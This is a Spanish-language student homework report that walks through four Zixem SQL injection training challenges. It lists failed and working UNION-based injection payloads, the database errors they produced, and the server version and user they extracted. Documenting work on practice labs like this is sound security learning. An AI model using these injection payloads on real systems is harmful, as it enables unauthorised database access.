## Tarea #5

Integrantes:

Carlos Lambraño (8-957-2142)

William Feng (8-977-446)

Rafael Sáenz (8-972-1124)

#### **Indicaciones**

Desarrolle los 4 primeros niveles de Zixem los challenge de SQLinjection, entregar informe con los pasos para resolverlo: <a href="https://www.zixem.altervista.org/SQLi/">https://www.zixem.altervista.org/SQLi/</a>

#### **Desarrollo**

Hi, i'm Zixem and i developed a few SQLi challenges.

More about SQL Injection.

## Rules!

Use only UNION BASED! Your mission is to select only the version & user and to take screenshot as proof. Have Fun (:

[SQLi challenges]

<u>Level 1 (Super Easy)</u> <u>Level 2 (Easy)</u>

Level 3 (Medium)

Level 4 (Normal)

Level 7 (Medium)
Level 8 (Hard)

Level 9 (Medium)

Level 10 (Pro)

[Brute-Force challenge]

Level 5 (Get your automation/scripting skills)

[SQLi-Blind challenges]

Level 6 (Experienced)
Using information\_schema\tools in blind challenges is illegal!

<u>ZiXeM</u>

## Level 1 (Super Easy)

<u>Item ID:</u> 1 <u>Price:</u> 20\$

contact seller: zxm@lol.gov

good luck. -Zixem

## **Comandos fallidos**

- WHERE 1=version() AND 20\$=user() UNION SELECT version(),user()
- WHERE 1=version() AND 20=user() UNION SELECT version(),user()
- WHERE 1=version() UNION SELECT version() ---
- AND 1=version UNION SELECT version() ---
- 1=version() UNION SELECT version—

El comando que me genero otro mensaje fue:

AND 1=NULL UNION SELECT version()

En este comando pude analizar que iba por buen camino, ya que el error que me salía era que las columnas que seleccionaba era diferente a las columnas que tiene la tabla principal

The used SELECT statements have a different number of columns *Item ID*:

<u>Price:</u> \$

contact seller: zxm@lol.gov

good luck. -Zixem

ver∼ ©

Despues agregue otra columna con la función user() para que me de el usuario y otra 3era columna con el numero 3 porque la tabla tiene 3 columnas. Si colocaba solo 2 datos igual me iba a salir el mensaje de la primera captura.

Siendo los comandos

- AND 1=NULL UNION SELECT version(),user()
- AND 1=NULL UNION SELECT version(),user(),3

<u>Item ID:</u> zixem@localhost <u>Price:</u> 8.0.26\$ contact seller: zxm@lol.gov

good luck. -Zixem

# Respuesta

→ Usuario: zixem@localhost

→ Versión: 8.0.26

# Level 2 (Easy)

#### **Comandos fallidos**

- AND 4=NULL UNION SELECT version(),user(),3
- AND 17=NULL UNION SELECT version(),user(),3
- UNION SELECT version()
- 'UNION SELECT version()'

- 'UNION SELECT version(),user(),3,4'
- AND 1=17 'UNION SELECT 1,2,version(),user()'
- AND 1=17 'UNION SELECT 1,2,version(),user()'
- AND 1=17 'UNION SELECT user(),2,version(),user()'

# Respuesta

→ Usuario: zixem@localhost

→ Versión: 8.0.26

#### Level 3 (Medium)

Wanna buy laptop?

<u>ItemID:</u> 3 <u>Item Name</u>: Laptop <u>Seller:</u> Team Digi7al

good luck. -Zixem

#### **Comandos fallidos**

- AND 1=7 'UNION SELECT user(),2,version(),4'
- AND 1=7 UNION SELECT user(),2,version(),4
- UNION SELECT user(),2,version(),4
- AND 1=1 UNION SELECT user(),2,version(),4
- UNION AND SELECT user(),2,version(),4
- UNION ON SELECT user(),2,version(),4
- AND 1=1 UNION ON SELECT user(),2,version(),4

Wanna buy laptop?

## AND 1=1 'UNION ON SELECT user(),2,version(),4'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'uni on select user(),2,version(),4" at line 1

# • AND 1=3 'UNION SELECT user(),2,version(),4'

Wanna buy laptop?

<u>ItemID:</u> zixem@localhost <u>Item Name</u>: 2

<u>Seller:</u> 8.0.26

good luck. -Zixem

### Respuesta

→ Usuario: zixem@localhost

→ Versión: 8.0.26

# Level 4 (Normal)

AND 1=3 'UNIONON SELECT user(),2,version(),4'

AND 1=3 'UNION SELECT user(),2,version(),4'

- AND 1=3 'UNION SELECT user(),2,version(),4,5'
- AND 1=3 'UNION SELECT user(), version(), version(), user(),5'

# Respuesta

→ Usuario: zixem@localhost

→ Versión: 8.0.26

#### **Anexo**

• AND 1=3 'UNION SELECT "Integrantes", "C.Lambrahack", "W.Feng", "R.Saenz", 5'
